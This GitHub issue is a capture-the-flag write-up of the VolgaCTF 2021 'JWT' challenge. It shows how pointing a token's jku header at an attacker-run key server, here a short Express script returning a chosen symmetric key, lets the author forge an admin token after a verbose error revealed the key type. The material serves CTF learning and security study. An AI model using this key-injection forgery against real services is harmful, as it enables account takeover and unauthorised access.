Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

VolgaCTF 2021 Qualifier - JWT #30

Open
aszx87410 opened this issue Mar 28, 2021 · 0 comments
Open

VolgaCTF 2021 Qualifier - JWT #30

aszx87410 opened this issue Mar 28, 2021 · 0 comments
Labels

Comments

@aszx87410
Copy link
Owner

JWT

Description

螢幕快照 2021-03-28 下午11 38 56

Writeup

After register and login we will have a JWT, and we need to be admin to get the flag.

This is how JWT looks like:

螢幕快照 2021-03-28 下午11 40 40

At first, I found that I can replace jku to my own server, so I implemented a simple server to return the key. Unfortunately, it keeps return error which said that it can not find a suitable key. I stuck here for a long time and have no idea how to proceed.

Then, I noticed a very important part in the error message, part of jwk are included in the response. So I tried to change the JWT kid to another random string, here is the error message from server:

JWT processing failed. Additional details: [[17] Unable to process JOSE object (cause: org.jose4j.lang.UnresolvableKeyException: Unable to find a suitable verification key for JWS w/ header {"kid":"HS2561","alg":"HS256"} from JWKs [org.jose4j.jwk.OctetSequenceJsonWebKey{kty=oct, kid=HS256, alg=HS256}] obtained from http://localhost:8080/secret): JsonWebSignature{"kid":"HS2561","alg":"HS256"}->eyJraWQiOiJIUzI1NjEiLCJhbGciOiJIUzI1NiJ9.eyJqa3UiOiJodHRwOi8vbG9jYWxob3N0OjgwODAvc2VjcmV0IiwiZXhwIjoxNjE3NTMwOTkyLCJqdGkiOiJCREFjSTZ1V0p5X0tvdmhTWnN6WW5nIiwiaWF0IjoxNjE2OTI2MTkyLCJuYmYiOjE2MTY5MjYwNzIsInN1YiI6ImV3ZWlvZmpld29pZiJ9.G_4j1QH9RoiSkv59rmZz0gtNFKPath-Bi8J4_dQmevo]

Great! Now we know the kty is oct, no wonder kty=RSA keeps throw error.

Now we know the correct kty so we can create our own jwk server:

const express    = require('express')
const app = express()

app.get('/', (req, res) => {
  res.json({
    "kty": "oct",
    "kid": "HS256",
    "alg": "HS256",
    "k": "AyM1SysPpbyDfgZld3umj1qzKObwVMkoqQ-EstJQLr_T-1qS0gZH75aKtMN3Yj0iPS4hcgUuTwjAzZr1Z9CAow"
  })
})

app.listen(3000)

We can sign a new JWT with sub=admin by using this secret key, and get the flag.

reference:

  1. https://blog.pentesteracademy.com/hacking-jwt-tokens-jku-claim-misuse-2e732109ac1c
  2. https://tools.ietf.org/html/rfc7517#appendix-A.3
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

1 participant